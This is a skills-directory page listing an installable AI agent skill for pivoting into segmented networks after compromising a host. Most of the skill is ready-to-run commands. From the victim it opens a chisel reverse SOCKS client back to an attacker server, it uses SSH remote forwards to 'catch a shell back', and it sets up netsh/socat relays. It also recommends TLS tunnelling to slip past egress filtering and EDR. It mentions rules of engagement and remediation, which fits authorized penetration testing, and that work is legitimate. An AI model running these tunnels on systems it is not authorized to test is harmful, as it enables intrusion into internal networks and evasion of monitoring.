Pivoting with chisel reverse SOCKS, native SSH tunnels (-L/-R/-D), sshuttle, and proxychains/graftcp — reach segmented networks when you can't deploy a tun pivot. Tier 1. Use post-foothold on hosts with SSH access or where an HTTP/TLS SOCKS tunnel is needed.
Installs into .claude/skills of the current project.
Sponsors
SSkills DirectorySkills Directory
Know which skills are safe — weekly.
SSkills DirectorySkills Directory
Is that skill safe to install?
Are you the author of Pivoting Chisel Ssh Proxychains?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/anandjogawade-pivoting-chisel-ssh-proxychains)
---
name: pivoting-chisel-ssh-proxychains
description: Pivoting with chisel reverse SOCKS, native SSH tunnels (-L/-R/-D), sshuttle, and proxychains/graftcp — reach segmented networks when you can't deploy a tun pivot. Tier 1. Use post-foothold on hosts with SSH access or where an HTTP/TLS SOCKS tunnel is needed.
---
# Pivoting with Chisel / SSH / Proxychains
When ligolo-ng isn't an option, chisel (reverse SOCKS over HTTP/TLS) and SSH tunnels get you into segmented networks. Remember the SOCKS caveat: it's TCP-connect only — no SYN/UDP/OS-detect through proxychains.
## Trigger phrases
`chisel, ssh tunnel, proxychains, sshuttle, socks proxy, port forward, -L -R -D, graftcp, pivot`
## Method — Chisel (reverse SOCKS)
1. **Attacker/VPS server:** `./chisel server -p 8443 --reverse` (add `--tls-key/--tls-cert` for TLS).
2. **Victim (foothold):** `./chisel client https://<attacker>:8443 R:socks` → reverse SOCKS5 on attacker:1080.
3. Use it: `proxychains nmap -sT -Pn <internal>` or set SOCKS 127.0.0.1:1080 in the tool. Forward a single port: client arg `R:1433:10.0.0.5:1433`.
## Method — SSH tunnels (native, no upload)
- **Local forward:** `ssh -L 127.0.0.1:1433:10.0.0.5:1433 user@pivot` — hit the DB at your localhost:1433.
- **Remote forward:** `ssh -R 4444:localhost:4444 user@attacker` — expose a service/catch a shell back.
- **Dynamic SOCKS:** `ssh -D 1080 -N -f user@pivot` → proxychains. Add forwards mid-session with `~C`.
- **sshuttle (transparent, no proxychains, handles DNS):** `sshuttle -r user@pivot 10.0.0.0/24` — behaves like a cheap VPN; good when you only have SSH creds.
## Method — proxychains / graftcp
- `/etc/proxychains.conf`: `socks5 127.0.0.1 1080`, enable `proxy_dns`. Use `proxychains -q <tool>`.
- **graftcp** for Go binaries (nuclei, some scanners) that ignore proxychains' LD_PRELOAD: `graftcp-local -socks5 127.0.0.1:1080 &` then `graftcp ./nuclei -u http://<target>`.
## Modern / rare techniques
- **Chisel over TLS** to blend with HTTPS egress and bypass L7 filtering/EDR.
- **Windows-native fallback:** `netsh interface portproxy add v4tov4 listenport=<lp> connectaddress=<dst> connectport=<dp>` (+ firewall rule); plink `-R`; socat/gost relays (`socat TCP-LISTEN:<lp>,fork TCP:<dst>:<dp>`).
## Escalation / chaining
Reached subnet → service enum skills, netexec, relay from inner vantage. Prefer ligolo-ng/sshuttle (tun) when you need full nmap (SYN/UDP/OS-detect); SOCKS is `-sT -Pn` only.
## Backend & tooling
Operator Kali/WSL/HexStrike. Server side on attacker host; client/forward on the compromised host within RoE.
## Verification (background, before reporting)
Prove reachability to a known internal host through the tunnel from two tools before reporting scope; confirm proxy_dns works (resolve an internal name) so results aren't false negatives.
## Evidence
chisel/ssh command set, proxychains config, a successful proxied command against an internal host, and the pivot-path diagram. Remediation: restrict SSH, egress filtering, segmentation, disable port-forwarding (`AllowTcpForwarding no`) where not needed, EDR.